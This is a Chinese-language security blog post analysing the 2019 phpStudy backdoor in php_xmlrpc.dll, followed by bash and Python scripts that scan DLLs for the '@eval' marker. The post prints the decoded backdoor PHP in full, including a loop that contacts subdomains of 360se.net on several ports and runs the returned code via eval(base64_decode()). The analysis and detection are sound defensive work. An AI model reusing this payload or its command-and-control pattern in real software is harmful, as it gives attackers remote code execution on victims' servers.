phpstudy后门文件分析以及检测脚本

  • 2019 年 10 月 7 日
  • 筆記

2019.9.20得知非官网的一些下载站中的phpstudy版本存在后门文件,基于研究的目的,于是有了以下这文。

从某些下载站随便下载一些phpstudy,在虚拟机中解压,着重看PHPTutorialphp文件夹下各个dll文件,自己分析不同版本的dll文件,发现在5.4左右版本的php_xmlrpc.dll存在问题。

逆向分析

在天河师傅的协助下,使用IDA Pro x86对php_xmlrpc.dll进行逆向分析。dll中存在对本地计算机信息进行收集的代码。并且在字符串中可以很清楚的看到@eval字样。

这里拼接了一个 @eval(gzuncompress('%s'));的代码 ,明显是调用gzuncompress方法解密执行某些代码,没解密前的代码来自asc_1000D028 到unk_1000D66C这个部分,拼接好的字符串放在v42处

zend_eval_string处执行v42处执行的代码,我们把数据提取出来,并进行处理,并且经过php的gzuncompress解码,得到以下

@ini_set("display_errors","0");  error_reporting(0);  $h = $_SERVER['HTTP_HOST'];  $p = $_SERVER['SERVER_PORT'];  $fp = fsockopen($h, $p, $errno, $errstr, 5);  if (!$fp) {  } else {      $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1rn";      $out .= "Host: {$h}rn";      $out .= "Accept-Encoding: compress,gziprn";      $out .= "Connection: Closernrn";        fwrite($fp, $out);      fclose($fp);  }  

在从1000D66C到1000E5C4之间还有一段数据,继续处理后得到以下

@ini_set("display_errors","0");  error_reporting(0);  function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){      $result = "";    $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);    if( !$handle ){      $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);      if( !$handle ){          return "err";      }    }    fwrite($handle, $sendMsg."n");      while(!feof($handle)){          stream_set_timeout($handle, 2);          $result .= fread($handle, 1024);          $info = stream_get_meta_data($handle);          if ($info['timed_out']) {            break;          }       }    fclose($handle);    return $result;  }    $ds = array("www","bbs","cms","down","up","file","ftp");  $ps = array("20123","40125","8080","80","53");  $n = false;  do {      $n = false;      foreach ($ds as $d){          $b = false;          foreach ($ps as $p){              $result = tcpGet($i,$d.".360se.net",$p);              if ($result != "err"){                  $b =true;                  break;              }          }          if ($b)break;      }      $info = explode("<^>",$result);      if (count($info)==4){          if (strpos($info[3],"/*Onemore*/") !== false){              $info[3] = str_replace("/*Onemore*/","",$info[3]);              $n=true;          }          @eval(base64_decode($info[3]));      }  }while($n);  

分析到此就可以结束。这个后门估计早就已经失效了。

检测脚本

以下是我编写的pcheck.sh文件,运行后可以递归检测当前目录下所有dll文件中是否包含木马文件的特征值。

#! /bin/bash  # author: [email protected]  # http://pcat.cc    # trojan feature  trojan=@eval    function check_dir(){      for file in `ls $1`      do          f2=$1"/"$file          if [ -d $f2 ]          then              check_dir $f2          # just check dll file          elif [ "${file##*.}"x = "dll"x ]          then              strings $f2 |grep -q $trojan              if [ $? == 0 ]              then                  echo "===" $f2 "===="                  strings $f2 |grep $trojan              fi          fi      done  }  # . stand for current directory  check_dir .  

由于考虑到是windows版本,我再编写了个pcheck.py文件,代码模拟了strings和grep命令。

# -*- coding:utf8 -*-  __author__='[email protected]'  __blog__='http://pcat.cc'    import os  import string  import re      def strings(file) :      chars = string.printable[:94]      shortestReturnChar = 4      regExp = '[%s]{%d,}' % (chars, shortestReturnChar)      pattern = re.compile(regExp)      with open(file, 'rb') as f:          return pattern.findall(f.read())      def grep(lines,pattern):      for line in lines:          if pattern in line:              yield line      def pcheck(filename):      # trojan feature      trojan='@eval'      # just check dll file      if filename.endswith('.dll'):          lines=strings(filename)          try:              grep(lines,trojan).next()          except:              return          print '=== {0} ==='.format(filename)          for line in grep(lines,trojan):              print line      pass      def foo():      # . stand for current directory      for path, dirs, files in os.walk(".", topdown=False):          for name in files:              pcheck(os.path.join(path, name))          for name in dirs:              pcheck(os.path.join(path, name))      pass      if __name__ == '__main__':      foo()  

结束语

大家下载程序的时候,最好是从官网上下载。如果遇到不明文件,要么不运行,要么先在虚拟机上运行。增强网络安全意识,为网络安全出一份力量。




招新小广告

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系[email protected]